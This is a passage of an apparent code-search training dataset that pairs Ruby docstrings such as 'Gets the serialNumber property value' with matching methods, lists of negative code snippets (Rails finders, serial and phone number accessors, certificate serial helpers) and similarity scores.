Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end" ]
[ "0.631538", "0.631538", "0.62289715", "0.595696", "0.59250706", "0.5784014", "0.5782986", "0.569839", "0.56960464", "0.5683324", "0.5668215", "0.5625743", "0.5609744", "0.5609506", "0.5575163", "0.55740464", "0.556353", "0.55520785", "0.55420566", "0.55420566", "0.55420566", "0.55420566", "0.55420566", "0.5532695", "0.5521678", "0.54955465", "0.54955244", "0.54955244", "0.54955244", "0.54955244", "0.54955244", "0.54955244", "0.5491592", "0.546345", "0.54612345", "0.54493004", "0.54456127", "0.54439235", "0.5422464", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044", "0.53877044" ]
0.775446
1
Gets the serialNumber property value. Serial number of the Windows autopilot device.
def serial_number return @serial_number end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def serial\n fetch('device.serial')\n end", "def serial_number; Common.serial_number(@handle); end", "def serial_number=(value)\n @serial_number = value\n end", "def get_serial_number(data)\n data['product']['serial_number'] || 'n/a'\n end", "def serial_value(serial)\n serial.is_a?(SerialNumber) ? serial.value : serial\n end", "def serial\n @cert.serial.to_i\n end", "def serial\n @cert.serial.to_i\n end", "def get_serial\n return serial if serial.present?\n\n serial = \\\n if platform =~ /^jingdong/\n \"#{Date.today.to_s.gsub('-','')}_001\"\n else\n \"#{Date.today.to_s.gsub('-','')}\"\n end\n\n self.update_attribute(:serial, serial)\n serial\n end", "def get_serial_number\n require 'fileutils'\n appname = @appname\n filename = @app_serial_path || \"serial_numbers\"\n h = {}\n # check if serial file existing in curr dir. Else create\n if File.exists?(filename)\n File.open(filename).each { |line|\n #sn = $1 if line.match regex\n x = line.split \":\"\n h[x[0]] = x[1].chomp\n }\n end\n sn = h[appname] || 1\n # update the sn in file\n nsn = sn.to_i + 1\n # this will create if not exists in addition to storing if it does\n h[appname] = nsn\n # write back to file\n File.open(filename, \"w\") do |f|\n h.each_pair {|k,v| f.print \"#{k}:#{v}\\n\"}\n end\n return sn\n end", "def _get_serial_number\n require 'fileutils'\n appname = @appname\n filename = @app_serial_path || \"serial_numbers\"\n h = {}\n # check if serial file existing in curr dir. Else create\n if File.exists?(filename)\n File.open(filename).each { |line|\n #sn = $1 if line.match regex\n x = line.split \":\"\n h[x[0]] = x[1].chomp\n }\n end\n sn = h[appname] || 1\n # update the sn in file\n nsn = sn.to_i + 1\n # this will create if not exists in addition to storing if it does\n h[appname] = nsn\n # write back to file\n File.open(filename, \"w\") do |f|\n h.each_pair {|k,v| f.print \"#{k}:#{v}\\n\"}\n end\n return sn\n end", "def serial_number\n raw_response[4..-1].pack('c*').unpack('H*').first.upcase\n end", "def net_id\n $test_logger.log(\"Get serial net Id\")\n begin\n n = @transport.net_id\n rescue Exception => e\n $test_logger.log_e(\"Error while getting current serial net Id\", e)\n end\n n\n end", "def serial\n @cert.serial\n end", "def serialnumber\r\n\r\n @@serial +=1 ;\r\n \r\n id = request.object_id.to_i;\r\n if(id < 0 )\r\n \r\n id *= -1;\r\n end\r\n \r\n id %= 103; # mod by prime to keep the digits down.\r\n \r\n return(\"o\"+id.to_s+\"s\"+@@serial.to_s)\r\n \r\n end", "def next_serial\n serial = nil\n\n # This is slightly odd. If the file doesn't exist, our readwritelock creates\n # it, but with a mode we can't actually read in some cases. So, use\n # a default before the lock.\n unless FileTest.exist?(Puppet[:serial])\n serial = 0x1\n end\n\n Puppet.settings.readwritelock(:serial) { |f|\n if FileTest.exist?(Puppet[:serial])\n serial ||= File.read(Puppet.settings[:serial]).chomp.hex\n end\n\n # We store the next valid serial, not the one we just used.\n f << \"%04X\" % (serial + 1)\n }\n\n return serial\n end", "def serial_port\n\t\t\treturn @sp if port_initialized?\n\t\tend", "def serial_no\n [doc_series, doc_no].join(' ')\n end", "def _set_serial_number number\n appname = @appname\n pattern = Regexp.new \"^#{appname}:.*$\"\n filename = @app_serial_path || \"serial_numbers\"\n # during testing redo this file does not exist, so i get errors\n if !File.exists? filename\n _get_serial_number\n end\n _backup filename\n change_row filename, pattern, \"#{appname}:#{number}\"\n end", "def serial?\n @serial\n end", "def serial?\n @serial\n end", "def get_serial_number(pool, num)\n end_num = num.to_s\n serial_number = pool.starting_serial_number\n serial_number = serial_number.ljust(10, \"0\")\n serial_number[serial_number.size - end_num.size, serial_number.size]= end_num\n RAILS_DEFAULT_LOGGER.warn(serial_number)\n return serial_number\n end", "def cert_serial_get\n cert = certificate_get\n # Convert the base 10 serial number from the openssl cert to hexadecimal\n serial_number = cert.serial.to_s(16)\n # Add a colon every 2 characters to the returned serial number\n serial_number.scan(%r{\\w{2}}).join(':')\n end", "def set_serial\n @serial = Serial.find(params[:id])\n end", "def get_next_serial_number(dt_wo)\n dt_wo.total_serial_nums += 1\n raise \"invalid serial number\" if dt_wo.total_serial_nums > 65525\n end_num = dt_wo.total_serial_nums.to_s\n serial_number = dt_wo.starting_serial_num\n serial_number = serial_number.ljust(10, \"0\")\n serial_number[serial_number.size - end_num.size, serial_number.size]= end_num\n dt_wo.current_serial_num = serial_number\n dt_wo.save!\n return serial_number\n end", "def phone_number\n get_attribute(Yoti::Attribute::PHONE_NUMBER)\n end", "def set_serial_number number\n appname = @appname\n pattern = Regexp.new \"^#{appname}:.*$\"\n filename = @app_serial_path || \"serial_numbers\"\n # during testing redo this file does not exist, so i get errors\n if !File.exists? filename\n get_serial_number\n end\n backup filename\n # from Sed\n change_row filename, pattern, \"#{appname}:#{number}\"\n end", "def set_serial\n @serial = Serial.find(params[:id])\n end", "def set_serial\n @serial = Serial.find(params[:id])\n end", "def supports_serial?\n true\n end", "def hexserial\n @cert.serial.to_s(16)\n end", "def physical_device_id\n return @physical_device_id\n end", "def device_name\n return @device_name\n end", "def device_name\n return @device_name\n end", "def device_name\n return @device_name\n end", "def serial_read_int()\n return serial_read_line().hex\n end", "def snr\n part.nr\n end", "def lot_code_from_serial\n if lot_code.blank? && serial.present?\n self[:lot_code] = serial\n end\n end", "def new_serial\n @soa[:serial] = self.class.next_serial(@soa[:serial])\n end", "def parsed_serial_no\n (no_extension_or_in_end? ? data_file_name.gsub(ext, '').split('.')[1] : data_file_name.split(ext)[1]&.gsub('.', ''))&.to_i\n end", "def hardware_identifier\n return @hardware_identifier\n end", "def device_id\n return @device_id\n end", "def device_id\n return @device_id\n end", "def device_id\n return @device_id\n end", "def device_id\n return @device_id\n end", "def device\n device_name\n end", "def autonomous_system_number; end", "def next_lowest_write_lock_num\n digit_from(next_lowest_write_lock_name)\n end", "def part_number\n productnum\n end", "def next_serial_number\n size + 1\n end", "def lot_code_from_serial\n if lot_code.blank? && serial.present?\n self[:lot_code] = serial\n end\n self\n end", "def uuid\n return serial_no unless (serial_no.nil? or serial_no == '')\n raise Exception.new('no uuid for you')\n end", "def add_serial_number\n serial_number = serial_number_stub\n # Converting to Base 36 can be useful when you want to generate random combinations of letters and numbers, since it counts using every number from 0 to 9 and then every letter from a to z. Read more about base 36 here: https://en.wikipedia.org/wiki/Senary#Base_36_as_senary_compression\n alphanumerics = (0...36).map{ |i| i.to_s 36 }\n 13.times{|t| serial_number << alphanumerics.sample}\n self.update(serial_number: serial_number)\n end", "def add_serial_number\n serial_number = serial_number_stub\n # Converting to Base 36 can be useful when you want to generate random combinations of letters and numbers, since it counts using every number from 0 to 9 and then every letter from a to z. Read more about base 36 here: https://en.wikipedia.org/wiki/Senary#Base_36_as_senary_compression\n alphanumerics = (0...36).map{ |i| i.to_s 36 }\n 13.times{|t| serial_number << alphanumerics.sample}\n self.update(serial_number: serial_number)\n end", "def slot_number_for_registration_number(regis_no)\n @parcel.get(\"slot_number_for_registration_number\", regis_no, nil)\nend", "def next_lowest_write_lock_num #:nodoc:\n digit_from(next_lowest_write_lock_name)\n end", "def cert_serial_number(domain_name)\n Digest::MD5.hexdigest(\"#{domain_name} -- #{Time.now}\").to_i(16)\n end", "def cert_serial_number(domain_name)\n Digest::MD5.hexdigest(\"#{domain_name} -- #{Time.now}\").to_i(16)\n end", "def version_external_identifier\n read('version_external_identifier')\n end", "def flight_number\n @raw_data[:FlightNumber]\n end", "def serial_adj\n serial_word\n end", "def require_serial_number?\n !!(self.registered_download.require_serial_number?)\n end", "def production_number\n @production_number\n end", "def automation_serial_column\n (1..@worksheet.num_cols).find { |col| @worksheet[1, col] == 'Automation Serial Key' }\n end", "def uuid\n node_uuid = @os.data.fetch(:dmi, {}).fetch(:system, {}).fetch(:uuid, nil)\n node_uuid && node_uuid.strip\n end", "def reference_number\n @session_id\n end", "def get_modem\n return self.sendcmd(\"modem.get_name\")\n end", "def device_id\n apn_device_token\n end", "def production_number\n @production_number\n end", "def generate_serial_number\n self.serial_number = SecureRandom.uuid \n generate_serial_number if Product.find_by(serial_number: serial_number)\n\tend", "def getterminalid()\r\n return getvalue(SVTags::TERMINAL_ID)\r\n end", "def number\n @number\n end", "def number\n apartment_information[:number]\n end", "def read\n @serial_port.read()\n end", "def openssl_serial(cert)\n cert = OpenSSL::X509::Certificate.new(cert)\n cert.serial\n end", "def physical_device_id=(value)\n @physical_device_id = value\n end", "def device\n self.subscription.device\n end", "def generate_serial(current_serial)\n # Optimization for the case that current_serial is a lot larger\n # than the generated serial\n new = [\n Time.now.strftime('%Y%m%d00').to_i,\n current_serial\n ].max\n\n # Increment until we find a spot\n new += 1 while new <= current_serial\n\n new\n end", "def sequence_number=(value)\n @sequence_number = value\n end", "def device_display_name\n return @device_display_name\n end", "def device_display_name\n return @device_display_name\n end", "def getc\n return @serial_port.getc\n end", "def build_number\n return @build_number\n end", "def mobile_phone\n return @mobile_phone\n end", "def serial_generator\n \"OD#{id.to_s.rjust(10, \"0\")}\"\n end", "def mobile_number\n \"#{mobile_phone_prefix}-#{short_phone_number}\"\n end", "def phone_number\n element_with_value('PhoneNumber', opts[:phone_number])\n end", "def get_last_serial_number(pool)\n pools = Pool.find(:all, :conditions => \"starting_serial_number like '#{pool.starting_serial_number}%'\")\n num = 99\n if pools && pools.size > 1\n pools.each do |p|\n if p.ending_serial_number\n last_num = get_last_num(p.ending_serial_number)\n end\n if last_num && last_num > num\n num = last_num\n end\n end\n end\n return num\n end", "def tty\n unless (@connection.nil?) then return @connection end\n \n @serial ||= self.device['org.bluez.Serial']\n devpattern = \"spp\" # TODO: figure out how to get a device string\n @connection = @serial.Connect(devpattern)[0]\n end", "def number\n \"#{@major}.#{@minor}.#{@patch}\"\n end", "def hardware_identifier=(value)\n @hardware_identifier = value\n end", "def phone_number\n @phone.number\n end", "def phone_number\n if self[:phone_number] == nil\n return nil\n end\n phone_number = self[:phone_number]\n return PhoneNumberHandler.format_phone_number(phone_number)\n end", "def phone_number\n if self[:phone_number] == nil\n return nil\n end\n phone_number = self[:phone_number]\n return PhoneNumberHandler.format_phone_number(phone_number)\n end", "def device_account\n return @device_account\n end", "def phone_number\n element_with_value('PhoneNumber', opts[:phone_number][0..14])\n end", "def serial; end", "def serial; end", "def version_number\n return @version_number\n end", "def device_id=(value)\n @device_id = value\n end", "def device_id=(value)\n @device_id = value\n end" ]
[ "0.76277477", "0.72662205", "0.71312696", "0.6519197", "0.6414575", "0.6366991", "0.63403445", "0.62553483", "0.6236588", "0.62254167", "0.61764246", "0.6069209", "0.5968872", "0.5964111", "0.5946545", "0.59112406", "0.5675265", "0.5640561", "0.55946356", "0.55946356", "0.5577886", "0.5567198", "0.55094886", "0.5479623", "0.54324067", "0.5379444", "0.53556854", "0.53556854", "0.5337945", "0.5324791", "0.53098446", "0.5301706", "0.5301706", "0.5301706", "0.5288774", "0.5234703", "0.52335525", "0.52175486", "0.52111113", "0.5171013", "0.5145167", "0.5145167", "0.5145167", "0.5145167", "0.5116946", "0.50879544", "0.50678074", "0.5059189", "0.5056917", "0.5026209", "0.50210536", "0.5016898", "0.5016898", "0.50003046", "0.4953789", "0.49349433", "0.49349433", "0.4919204", "0.48953676", "0.4881403", "0.4878177", "0.48541024", "0.48319417", "0.4819918", "0.48145846", "0.48137975", "0.48036638", "0.47988996", "0.47862548", "0.47776234", "0.47619534", "0.47463027", "0.47414514", "0.4737728", "0.4734354", "0.47318968", "0.47250465", "0.4723231", "0.4719791", "0.4719791", "0.4717914", "0.47167382", "0.47144613", "0.4696347", "0.4695953", "0.467801", "0.4669065", "0.46679085", "0.46660024", "0.4653021", "0.4650715", "0.4644791", "0.46443057", "0.4635869", "0.46324122", "0.4630228", "0.4630228", "0.46263945", "0.46197873", "0.46197873" ]
0.7828287
0
Sets the serialNumber property value. Serial number of the Windows autopilot device.
def serial_number=(value) @serial_number = value end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def _set_serial_number number\n appname = @appname\n pattern = Regexp.new \"^#{appname}:.*$\"\n filename = @app_serial_path || \"serial_numbers\"\n # during testing redo this file does not exist, so i get errors\n if !File.exists? filename\n _get_serial_number\n end\n _backup filename\n change_row filename, pattern, \"#{appname}:#{number}\"\n end", "def set_serial_number number\n appname = @appname\n pattern = Regexp.new \"^#{appname}:.*$\"\n filename = @app_serial_path || \"serial_numbers\"\n # during testing redo this file does not exist, so i get errors\n if !File.exists? filename\n get_serial_number\n end\n backup filename\n # from Sed\n change_row filename, pattern, \"#{appname}:#{number}\"\n end", "def set_serial\n @serial = Serial.find(params[:id])\n end", "def set_serial\n @serial = Serial.find(params[:id])\n end", "def set_serial\n @serial = Serial.find(params[:id])\n end", "def serial_number\n return @serial_number\n end", "def serial\n fetch('device.serial')\n end", "def add_serial_number\n serial_number = serial_number_stub\n # Converting to Base 36 can be useful when you want to generate random combinations of letters and numbers, since it counts using every number from 0 to 9 and then every letter from a to z. Read more about base 36 here: https://en.wikipedia.org/wiki/Senary#Base_36_as_senary_compression\n alphanumerics = (0...36).map{ |i| i.to_s 36 }\n 13.times{|t| serial_number << alphanumerics.sample}\n self.update(serial_number: serial_number)\n end", "def add_serial_number\n serial_number = serial_number_stub\n # Converting to Base 36 can be useful when you want to generate random combinations of letters and numbers, since it counts using every number from 0 to 9 and then every letter from a to z. Read more about base 36 here: https://en.wikipedia.org/wiki/Senary#Base_36_as_senary_compression\n alphanumerics = (0...36).map{ |i| i.to_s 36 }\n 13.times{|t| serial_number << alphanumerics.sample}\n self.update(serial_number: serial_number)\n end", "def serial_number; Common.serial_number(@handle); end", "def new_serial\n @soa[:serial] = self.class.next_serial(@soa[:serial])\n end", "def set_OrderNumber(value)\n set_input(\"OrderNumber\", value)\n end", "def sequence_number=(value)\n @sequence_number = value\n end", "def major_version=(val)\n self.major_number = val\n end", "def version_number=(value)\n @version_number = value\n end", "def update_serial!\n update_serial\n save\n end", "def write_number(crl_number)\n @db.execute('UPDATE crl_number SET number=?', crl_number)\n end", "def primary_phone=(n)\n pull unless @details\n pn = Quickbooks::Model::TelephoneNumber.new\n pn.free_form_number = n\n @details.primary_phone = pn\n #update our locally stored number too\n update_phone_number\n end", "def lot_code_from_serial\n if lot_code.blank? && serial.present?\n self[:lot_code] = serial\n end\n end", "def set_major=(major)\n @major = major\n end", "def mobile_phone=(n)\n pull unless @details\n pn = Quickbooks::Model::TelephoneNumber.new\n pn.free_form_number = n\n @details.mobile_phone = pn\n #update our locally stored number too\n update_mobile_phone_number\n end", "def lot_code_from_serial\n if lot_code.blank? && serial.present?\n self[:lot_code] = serial\n end\n self\n end", "def set_phone_number_field(phone_number)\n @chrome_driver.find_element(:id, PHONE_NUMBER_FIELDS).send_keys(phone_number)\n end", "def get_serial\n return serial if serial.present?\n\n serial = \\\n if platform =~ /^jingdong/\n \"#{Date.today.to_s.gsub('-','')}_001\"\n else\n \"#{Date.today.to_s.gsub('-','')}\"\n end\n\n self.update_attribute(:serial, serial)\n serial\n end", "def drivers_license_number=(drivers_license_number)\n if !drivers_license_number.nil? && drivers_license_number.to_s.length > 50\n fail ArgumentError, 'invalid value for \"drivers_license_number\", the character length must be smaller than or equal to 50.'\n end\n\n @drivers_license_number = drivers_license_number\n end", "def set_InvoiceNumber(value)\n set_input(\"InvoiceNumber\", value)\n end", "def set_InvoiceNumber(value)\n set_input(\"InvoiceNumber\", value)\n end", "def update_serial\n return if self.type != 'SOA'\n\n a = self.content.split(' ')\n\n # Last 4 digits of serial (serial update counter)\n i = a[2][6..-1].to_i\n\n # 201801 -> 201821\n t = Time.now.strftime('%Y%m').to_i + 20\n\n # Reset serial update counter if serial is on \"old\" format (e.g.\n # 2018010199)\n i = 0 if a[2][4..5].to_i <= 12\n\n # Increment serial update counter\n i += 1\n\n a[2] = t.to_s + \"%04d\" % i\n self.content = a.join(' ')\n end", "def set_phone_number_field(phone_number)\n @chrome_driver.find_element(:id, PHONE_NUMBER_FIELDS).send_keys(phone_number)\n end", "def add_device(serial)\n res = @client.post(\"#{path}/devices\", nil, { serial: serial }, \"Content-Type\" => \"application/json\")\n\n ::M2X::Client::Device.new(@client, res.json) if res.success?\n end", "def get_serial_number(data)\n data['product']['serial_number'] || 'n/a'\n end", "def supports_serial?\n true\n end", "def next_serial\n serial = nil\n\n # This is slightly odd. If the file doesn't exist, our readwritelock creates\n # it, but with a mode we can't actually read in some cases. So, use\n # a default before the lock.\n unless FileTest.exist?(Puppet[:serial])\n serial = 0x1\n end\n\n Puppet.settings.readwritelock(:serial) { |f|\n if FileTest.exist?(Puppet[:serial])\n serial ||= File.read(Puppet.settings[:serial]).chomp.hex\n end\n\n # We store the next valid serial, not the one we just used.\n f << \"%04X\" % (serial + 1)\n }\n\n return serial\n end", "def number=(number)\n @number = number\n @target = number\n update_numbers\n end", "def card_number=(t)\n self.number = t.to_i\n end", "def serialnumber\r\n\r\n @@serial +=1 ;\r\n \r\n id = request.object_id.to_i;\r\n if(id < 0 )\r\n \r\n id *= -1;\r\n end\r\n \r\n id %= 103; # mod by prime to keep the digits down.\r\n \r\n return(\"o\"+id.to_s+\"s\"+@@serial.to_s)\r\n \r\n end", "def po_number=(po_number)\n\n if !po_number.nil? && po_number.to_s.length > 50\n fail ArgumentError, \"invalid value for 'po_number', the character length must be smaller than or equal to 50.\"\n end\n\n @po_number = po_number\n end", "def setcurrentbatchnumber(value)\r\n setvalue(SVTags::CURRENT_BATCH_NUMBER, value)\r\n end", "def set_serial_chronology\n @serial_chronology = SerialChronology.find(params[:id])\n end", "def update(value)\n @serial_port.puts value\n end", "def track_number(value)\n @ole.TrackNumber = value\n nil\n end", "def serial?\n @serial\n end", "def serial?\n @serial\n end", "def add_device(serial)\n res = @client.post(\"#{path}/devices\", nil, { serial: serial }, \"Content-Type\" => \"application/json\")\n Device.new(@client, res.json) if res.success?\n end", "def hardware_identifier=(value)\n @hardware_identifier = value\n end", "def get_serial_number\n require 'fileutils'\n appname = @appname\n filename = @app_serial_path || \"serial_numbers\"\n h = {}\n # check if serial file existing in curr dir. Else create\n if File.exists?(filename)\n File.open(filename).each { |line|\n #sn = $1 if line.match regex\n x = line.split \":\"\n h[x[0]] = x[1].chomp\n }\n end\n sn = h[appname] || 1\n # update the sn in file\n nsn = sn.to_i + 1\n # this will create if not exists in addition to storing if it does\n h[appname] = nsn\n # write back to file\n File.open(filename, \"w\") do |f|\n h.each_pair {|k,v| f.print \"#{k}:#{v}\\n\"}\n end\n return sn\n end", "def po_number=(po_number)\n\n if !po_number.nil? && po_number.to_s.length > 25\n fail ArgumentError, \"invalid value for 'po_number', the character length must be smaller than or equal to 25.\"\n end\n\n @po_number = po_number\n end", "def _get_serial_number\n require 'fileutils'\n appname = @appname\n filename = @app_serial_path || \"serial_numbers\"\n h = {}\n # check if serial file existing in curr dir. Else create\n if File.exists?(filename)\n File.open(filename).each { |line|\n #sn = $1 if line.match regex\n x = line.split \":\"\n h[x[0]] = x[1].chomp\n }\n end\n sn = h[appname] || 1\n # update the sn in file\n nsn = sn.to_i + 1\n # this will create if not exists in addition to storing if it does\n h[appname] = nsn\n # write back to file\n File.open(filename, \"w\") do |f|\n h.each_pair {|k,v| f.print \"#{k}:#{v}\\n\"}\n end\n return sn\n end", "def building_no=(building_no)\n if !building_no.nil? && building_no.to_s.length > 8\n fail ArgumentError, 'invalid value for \"building_no\", the character length must be smaller than or equal to 8.'\n end\n\n @building_no = building_no\n end", "def serial_value(serial)\n serial.is_a?(SerialNumber) ? serial.value : serial\n end", "def set_PhoneNumber(value)\n set_input(\"PhoneNumber\", value)\n end", "def get_next_serial_number(dt_wo)\n dt_wo.total_serial_nums += 1\n raise \"invalid serial number\" if dt_wo.total_serial_nums > 65525\n end_num = dt_wo.total_serial_nums.to_s\n serial_number = dt_wo.starting_serial_num\n serial_number = serial_number.ljust(10, \"0\")\n serial_number[serial_number.size - end_num.size, serial_number.size]= end_num\n dt_wo.current_serial_num = serial_number\n dt_wo.save!\n return serial_number\n end", "def physical_device_id=(value)\n @physical_device_id = value\n end", "def set_phone_number(phone, location, primary = false, extension = nil)\n if primary\n old_primaries = phone_numbers.select { |phone| phone.primary == true }\n old_primaries.each do |old_primary|\n old_primary.primary = 0\n old_primary.save!\n end\n end\n\n old_phone_record = phone_numbers.select { |phone| phone.location == location }.first\n if old_phone_record\n old_phone_record.number = phone\n old_phone_record.extension = extension\n old_phone_record.primary = primary\n old_phone_record.save!\n else\n PhoneNumber.create!(number: phone, location: location, extension: extension, primary: primary, person_id: id)\n end\n end", "def build_number=(value)\n @build_number = value\n end", "def set_net_id(x)\n $test_logger.log(\"Serial net Id change. New net Id '#{x}'\")\n begin\n @transport.net_id = x\n rescue Exception => e\n $test_logger.log_e(\"Error while changing serial net Id to '#{x}'\", e)\n end\n end", "def set_CreditCardNumber(value)\n set_input(\"CreditCardNumber\", value)\n end", "def set_num(user_number)\n self.num = user_number\n\n self\n end", "def update_serial\n unless Record.batch_soa_updates.nil? \n if Record.batch_soa_updates.include?( self.id )\n return\n end\n \n Record.batch_soa_updates << self.id\n end\n \n @serial_updated = true\n\n date_segment = Time.now.strftime( \"%Y%m%d\" )\n\n # Same day change?\n increment = if date_segment == self.serial.to_s[0,8]\n increment = self.serial.to_s[8,2].succ\n else\n \"01\"\n end\n\n self.serial = ( date_segment + increment[-2,2] ).to_i\n \n end", "def update_invoice_number!\n return unless Spree::PrintInvoice::Config.use_sequential_number?\n return if invoice_number.present?\n\n update_columns(invoice_number: Spree::PrintInvoice::Config.increase_invoice_number)\n end", "def generate_serial_number\n self.serial_number = SecureRandom.uuid \n generate_serial_number if Product.find_by(serial_number: serial_number)\n\tend", "def set_phone_number_field(phone_number)\n @chrome_driver.find_element(:id, PHONE_NUMBER_FIELDS).send_keys(phone_number)\n sleep 1\n\n end", "def set_AuctionItemNumber(value)\n set_input(\"AuctionItemNumber\", value)\n end", "def project_number=(value)\n @project_number = value\n end", "def serial_number\n raw_response[4..-1].pack('c*').unpack('H*').first.upcase\n end", "def write_number(crl_number)\n return nil if @crl_number_file.nil?\n\n write_data(@crl_number_file, crl_number.to_s)\n end", "def set_MajorID(value)\n set_input(\"MajorID\", value)\n end", "def set_AuctionItemNumber(value)\n set_input(\"AuctionItemNumber\", value)\n end", "def serial\n @cert.serial.to_i\n end", "def serial\n @cert.serial.to_i\n end", "def serial_no\n [doc_series, doc_no].join(' ')\n end", "def set_receipt_no\n self.receipt_sequence, self.receipt_number = TransactionReceipt.generate_receipt_no self.receipt_set\n self.ef_receipt_number = \"#{self.receipt_sequence}#{self.receipt_number}\"\n end", "def serial_port\n\t\t\treturn @sp if port_initialized?\n\t\tend", "def set_sensor\n @sensor = Sensor.find_by!(serial_id: params[:serial_id])\n end", "def set_phone_num\n @phone_num = PhoneNum.find(params[:id])\n end", "def set_number\n @number = Number.find(params[:id])\n end", "def set_number\n @number = Number.find(params[:id])\n end", "def set_number\n @number = Number.find(params[:id])\n end", "def set_number\n @number = Number.find(params[:id])\n end", "def set_number\n @number = Number.find(params[:id])\n end", "def set_number\n @number = Number.find(params[:id])\n end", "def contact_phone_number=(contact_phone_number)\n\n if !contact_phone_number.nil? && contact_phone_number.to_s.length > 20\n fail ArgumentError, \"invalid value for 'contact_phone_number', the character length must be smaller than or equal to 20.\"\n end\n\n @contact_phone_number = contact_phone_number\n end", "def get_serial_number(pool, num)\n end_num = num.to_s\n serial_number = pool.starting_serial_number\n serial_number = serial_number.ljust(10, \"0\")\n serial_number[serial_number.size - end_num.size, serial_number.size]= end_num\n RAILS_DEFAULT_LOGGER.warn(serial_number)\n return serial_number\n end", "def register_device(device_serial)\n register_form.device_serial_txt.set device_serial\n page.find('#btnSubmitForm', wait: 3).click\n has_act_code_txt?(wait: 10)\n end", "def set_port\n\t\tself.port = 389 if self.port == 0\n\tend", "def tracking_number=(tracking_number)\n if !tracking_number.nil? && tracking_number.to_s.length < 1\n fail ArgumentError, 'invalid value for \"tracking_number\", the character length must be great than or equal to 1.'\n end\n\n @tracking_number = tracking_number\n end", "def serial=(_arg0); end", "def caller_number=(value)\n @caller_number = value\n end", "def v11_0=(value)\n @v11_0 = value\n end", "def v11_0=(value)\n @v11_0 = value\n end", "def require_serial_number?\n !!(self.registered_download.require_serial_number?)\n end", "def device_id=(value)\n @device_id = value\n end", "def device_id=(value)\n @device_id = value\n end", "def device_id=(value)\n @device_id = value\n end", "def device_id=(value)\n @device_id = value\n end", "def set_number\n self.number = self.application.chat_count + 1\n end", "def line_numbering=(on_or_not)\n s9_document_builder.setLineNumbering(on_or_not)\n end", "def doc_number=(doc_number)\n if !doc_number.nil? && doc_number.to_s.length > 64\n fail ArgumentError, 'invalid value for \"doc_number\", the character length must be smaller than or equal to 64.'\n end\n\n @doc_number = doc_number\n end", "def phone_number\n element_with_value('PhoneNumber', opts[:phone_number])\n end", "def fax_set(number)\n self.fax.set number\n end" ]
[ "0.68039805", "0.6481677", "0.6414766", "0.6243922", "0.6243922", "0.6036031", "0.5881071", "0.56531096", "0.56531096", "0.56011415", "0.5586165", "0.53466207", "0.53370655", "0.52936906", "0.5254781", "0.5181164", "0.5111061", "0.50999695", "0.50883293", "0.5063474", "0.50414246", "0.5038541", "0.5033789", "0.50137615", "0.5009748", "0.50093246", "0.49987078", "0.4970338", "0.4961893", "0.49448633", "0.49279696", "0.49069837", "0.48975235", "0.4877975", "0.48695987", "0.48621655", "0.48618373", "0.48382327", "0.48327705", "0.4815897", "0.4807314", "0.48047388", "0.48047388", "0.47969508", "0.4795992", "0.47934458", "0.47900262", "0.4748304", "0.4747677", "0.474712", "0.47371763", "0.4726855", "0.47235113", "0.47229406", "0.470591", "0.4694448", "0.46933237", "0.46840194", "0.46810493", "0.46598932", "0.4659479", "0.46426654", "0.46397245", "0.46055302", "0.4603006", "0.45990252", "0.45983925", "0.45927158", "0.45728564", "0.4563306", "0.45632058", "0.45621222", "0.4552774", "0.45412368", "0.45381802", "0.45303014", "0.45303014", "0.45303014", "0.45303014", "0.45303014", "0.45303014", "0.45299307", "0.45101708", "0.45044845", "0.45031103", "0.45004424", "0.4493283", "0.44932684", "0.44853684", "0.44853684", "0.44838384", "0.44821113", "0.44821113", "0.44821113", "0.44821113", "0.44809577", "0.44723207", "0.44673014", "0.44645053", "0.44475278" ]
0.7994854
0
Serializes information the current object
def serialize(writer) raise StandardError, 'writer cannot be null' if writer.nil? super writer.write_string_value("assignedUserPrincipalName", @assigned_user_principal_name) writer.write_string_value("groupTag", @group_tag) writer.write_object_value("hardwareIdentifier", @hardware_identifier) writer.write_string_value("importId", @import_id) writer.write_string_value("productKey", @product_key) writer.write_string_value("serialNumber", @serial_number) writer.write_object_value("state", @state) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
